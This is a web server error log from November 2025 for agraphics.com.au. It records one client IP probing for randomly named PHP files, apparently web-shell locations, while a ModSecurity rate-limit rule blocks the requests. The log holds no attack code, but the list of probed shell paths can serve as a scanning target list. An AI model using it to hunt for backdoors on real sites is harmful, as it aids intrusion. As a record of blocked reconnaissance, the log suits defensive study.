[Thu Nov 20 16:15:54.814080 2025] [:error] [pid 40508:tid 40519] [client 20.27.30.201:4026] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oswkk.php"] [unique_id "aR7OOqxXNVCMW_ksxPtxMwAAAok"]
[Thu Nov 20 16:15:56.217721 2025] [:error] [pid 40508:tid 40511] [client 20.27.30.201:3968] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oswkk.php"] [unique_id "aR7OPKxXNVCMW_ksxPtxPgAAAoE"]
[Thu Nov 20 16:15:57.604362 2025] [:error] [pid 40415:tid 40418] [client 20.27.30.201:3881] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rex.php"] [unique_id "aR7OPahjIyLSv09svwOE3AAAAcA"]
[Thu Nov 20 16:15:58.640708 2025] [:error] [pid 40445:tid 40482] [client 20.27.30.201:3958] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rex.php"] [unique_id "aR7OPlH-MuFcoWRjXpYuSwAAAkc"]
[Thu Nov 20 16:16:00.058752 2025] [:error] [pid 55430:tid 55451] [client 20.27.30.201:3937] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rex.php"] [unique_id "aR7OQPPZXaIMEU4pE7vlKQAAANI"]
[Thu Nov 20 16:16:01.098898 2025] [:error] [pid 34405:tid 34409] [client 20.27.30.201:3907] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rex.php"] [unique_id "aR7OQTFpvu8oRK7ATfv7jwAAAQI"]
[Thu Nov 20 16:16:01.937271 2025] [:error] [pid 55430:tid 55438] [client 20.27.30.201:3983] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aR7OQfPZXaIMEU4pE7vlKgAAAMU"]
[Thu Nov 20 16:16:03.630506 2025] [:error] [pid 40537:tid 40541] [client 20.27.30.201:3998] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aR7OQ6KlsL5kxTa3c1zJzwAAAsA"]
[Thu Nov 20 16:16:04.284009 2025] [:error] [pid 55343:tid 55414] [client 20.27.30.201:3867] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aR7ORFWlO3EnyVMV7w6XYgAAAI8"]
[Thu Nov 20 16:16:05.104640 2025] [:error] [pid 40445:tid 40488] [client 20.27.30.201:3941] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aR7ORVH-MuFcoWRjXpYuTwAAAk0"]
[Thu Nov 20 16:16:06.110970 2025] [:error] [pid 40445:tid 40477] [client 20.27.30.201:3943] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aR7ORlH-MuFcoWRjXpYuUQAAAkI"]
[Thu Nov 20 16:16:07.076728 2025] [:error] [pid 55430:tid 55454] [client 20.27.30.201:4008] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aR7OR_PZXaIMEU4pE7vlKwAAANU"]
[Thu Nov 20 16:16:07.503788 2025] [:error] [pid 40537:tid 40557] [client 20.27.30.201:4024] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aR7OR6KlsL5kxTa3c1zJ0wAAAtA"]
[Thu Nov 20 16:16:08.723815 2025] [:error] [pid 34405:tid 34429] [client 20.27.30.201:3522] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/snus.php"] [unique_id "aR7OSDFpvu8oRK7ATfv7kQAAARY"]
[Thu Nov 20 16:16:09.918832 2025] [:error] [pid 40537:tid 40553] [client 20.27.30.201:3863] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aR7OSaKlsL5kxTa3c1zJ1QAAAsw"]
[Thu Nov 20 16:16:10.552436 2025] [:error] [pid 40445:tid 40483] [client 20.27.30.201:3561] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aR7OSlH-MuFcoWRjXpYuVAAAAkg"]
[Thu Nov 20 16:16:11.655110 2025] [:error] [pid 55343:tid 55416] [client 20.27.30.201:3947] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aR7OS1WlO3EnyVMV7w6XZwAAAJE"]
[Thu Nov 20 16:16:13.098024 2025] [:error] [pid 55342:tid 55383] [client 20.27.30.201:3871] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/naxc.php"] [unique_id "aR7OTbg6x32Tvk7fIG-9UgAAAEs"]
[Thu Nov 20 16:16:13.960717 2025] [:error] [pid 55340:tid 55366] [client 20.27.30.201:3979] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aR7OTfOxD-NeMydTybCCJwAAABU"]
[Thu Nov 20 16:16:15.999834 2025] [:error] [pid 40415:tid 40431] [client 20.27.30.201:4002] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aR7OT6hjIyLSv09svwOE7gAAAc0"]
[Thu Nov 20 16:16:16.909074 2025] [:error] [pid 40537:tid 40543] [client 20.27.30.201:3865] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aR7OUKKlsL5kxTa3c1zJ3gAAAsI"]
[Thu Nov 20 16:16:17.351607 2025] [:error] [pid 40508:tid 40510] [client 20.27.30.201:4007] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aR7OUaxXNVCMW_ksxPtxUAAAAoA"]
[Thu Nov 20 16:16:18.731606 2025] [:error] [pid 40508:tid 40517] [client 20.27.30.201:3875] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aR7OUqxXNVCMW_ksxPtxUgAAAoc"]
[Thu Nov 20 16:16:20.285099 2025] [:error] [pid 55340:tid 55349] [client 20.27.30.201:3882] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aR7OVPOxD-NeMydTybCCLwAAAAQ"]
[Thu Nov 20 16:16:21.258706 2025] [:error] [pid 55430:tid 55453] [client 20.27.30.201:4015] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aR7OVfPZXaIMEU4pE7vlLgAAANQ"]
[Thu Nov 20 16:16:22.568883 2025] [:error] [pid 55342:tid 55373] [client 20.27.30.201:3883] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aR7OVrg6x32Tvk7fIG-9WgAAAEE"]
[Thu Nov 20 16:16:23.634090 2025] [:error] [pid 40445:tid 40486] [client 20.27.30.201:3933] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aR7OV1H-MuFcoWRjXpYuXAAAAks"]
[Thu Nov 20 16:16:24.628092 2025] [:error] [pid 55340:tid 55361] [client 20.27.30.201:3967] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aR7OWPOxD-NeMydTybCCMgAAABA"]
[Thu Nov 20 16:16:25.106687 2025] [:error] [pid 40508:tid 40528] [client 20.27.30.201:3536] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aR7OWaxXNVCMW_ksxPtxVwAAApI"]
[Thu Nov 20 16:16:26.255028 2025] [:error] [pid 40537:tid 40552] [client 20.27.30.201:3935] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api137.php"] [unique_id "aR7OWqKlsL5kxTa3c1zJ5AAAAss"]
[Thu Nov 20 16:16:26.816892 2025] [:error] [pid 40537:tid 40555] [client 20.27.30.201:3526] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class629.php"] [unique_id "aR7OWqKlsL5kxTa3c1zJ5QAAAs4"]
[Thu Nov 20 16:16:27.231349 2025] [:error] [pid 40415:tid 40442] [client 20.27.30.201:3850] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class629.php"] [unique_id "aR7OW6hjIyLSv09svwOE8gAAAdg"]
[Thu Nov 20 16:16:28.348857 2025] [:error] [pid 55342:tid 55396] [client 20.27.30.201:3965] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class629.php"] [unique_id "aR7OXLg6x32Tvk7fIG-9YgAAAFg"]
[Thu Nov 20 16:16:28.898653 2025] [:error] [pid 55340:tid 55365] [client 20.27.30.201:3898] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class629.php"] [unique_id "aR7OXPOxD-NeMydTybCCMwAAABQ"]
[Thu Nov 20 16:16:29.650644 2025] [:error] [pid 40445:tid 40483] [client 20.27.30.201:3872] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aR7OXVH-MuFcoWRjXpYuYgAAAkg"]
[Thu Nov 20 16:16:31.573912 2025] [:error] [pid 40636:tid 40659] [client 20.27.30.201:3888] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aR7OXwK8BWUoW3xq0HD0EAAAA5M"]
[Thu Nov 20 16:16:32.435786 2025] [:error] [pid 40445:tid 40480] [client 20.27.30.201:3544] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aR7OYFH-MuFcoWRjXpYuZgAAAkU"]
[Thu Nov 20 16:16:32.868722 2025] [:error] [pid 55340:tid 55348] [client 20.27.30.201:3886] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aR7OYPOxD-NeMydTybCCNgAAAAM"]
[Thu Nov 20 16:16:34.142675 2025] [:error] [pid 55340:tid 55362] [client 20.27.30.201:3953] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aR7OYvOxD-NeMydTybCCOAAAABE"]
[Thu Nov 20 16:16:34.947235 2025] [:error] [pid 34405:tid 34423] [client 20.27.30.201:3856] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aR7OYjFpvu8oRK7ATfv7mwAAARA"]
[Thu Nov 20 16:16:35.667399 2025] [:error] [pid 40508:tid 40513] [client 20.27.30.201:3845] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aR7OY6xXNVCMW_ksxPtxbgAAAoM"]
[Thu Nov 20 16:16:36.192878 2025] [:error] [pid 40508:tid 40525] [client 20.27.30.201:4042] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aR7OZKxXNVCMW_ksxPtxbwAAAo8"]
[Thu Nov 20 16:16:36.678324 2025] [:error] [pid 40508:tid 40524] [client 20.27.30.201:3539] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aR7OZKxXNVCMW_ksxPtxcQAAAo4"]
[Thu Nov 20 16:16:38.097190 2025] [proxy_fcgi:error] [pid 40636:tid 40641] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:38.215673 2025] [proxy_fcgi:error] [pid 40636:tid 40661] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:38.340998 2025] [proxy_fcgi:error] [pid 40636:tid 40664] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:38.459440 2025] [proxy_fcgi:error] [pid 40636:tid 40658] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:38.582299 2025] [proxy_fcgi:error] [pid 40636:tid 40644] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:38.701310 2025] [proxy_fcgi:error] [pid 40636:tid 40660] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:39.018889 2025] [proxy_fcgi:error] [pid 40636:tid 40650] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:39.391028 2025] [proxy_fcgi:error] [pid 40636:tid 40657] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:39.532174 2025] [proxy_fcgi:error] [pid 40636:tid 40649] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:39.668278 2025] [proxy_fcgi:error] [pid 40636:tid 40655] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:39.785972 2025] [proxy_fcgi:error] [pid 40636:tid 40653] [client 20.27.30.201:3576] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:16:39.900280 2025] [:error] [pid 40636:tid 40659] [client 20.27.30.201:3576] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aR7OZwK8BWUoW3xq0HD0JQAAA5M"]
[Thu Nov 20 16:16:40.793417 2025] [:error] [pid 40537:tid 40549] [client 20.27.30.201:3869] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aR7OaKKlsL5kxTa3c1zJ7AAAAsg"]
[Thu Nov 20 16:16:41.485667 2025] [:error] [pid 40445:tid 40476] [client 20.27.30.201:4016] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aR7OaVH-MuFcoWRjXpYudwAAAkE"]
[Thu Nov 20 16:16:43.168284 2025] [:error] [pid 55342:tid 55383] [client 20.27.30.201:4025] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aR7Oa7g6x32Tvk7fIG-9bwAAAEs"]
[Thu Nov 20 16:16:44.008124 2025] [:error] [pid 40508:tid 40523] [client 20.27.30.201:3878] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aR7ObKxXNVCMW_ksxPtxdQAAAo0"]
[Thu Nov 20 16:16:44.622939 2025] [:error] [pid 55340:tid 55346] [client 20.27.30.201:3887] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aR7ObPOxD-NeMydTybCCPQAAAAE"]
[Thu Nov 20 16:16:45.516842 2025] [:error] [pid 40445:tid 40484] [client 20.27.30.201:3580] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aR7ObVH-MuFcoWRjXpYueAAAAkk"]
[Thu Nov 20 16:16:46.281101 2025] [:error] [pid 40508:tid 40526] [client 20.27.30.201:3537] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aR7ObqxXNVCMW_ksxPtxdwAAApA"]
[Thu Nov 20 16:16:48.259420 2025] [:error] [pid 40508:tid 40521] [client 20.27.30.201:4090] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aR7OcKxXNVCMW_ksxPtxegAAAos"]
[Thu Nov 20 16:16:49.109818 2025] [:error] [pid 55342:tid 55375] [client 20.27.30.201:3963] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aR7Ocbg6x32Tvk7fIG-9dwAAAEM"]
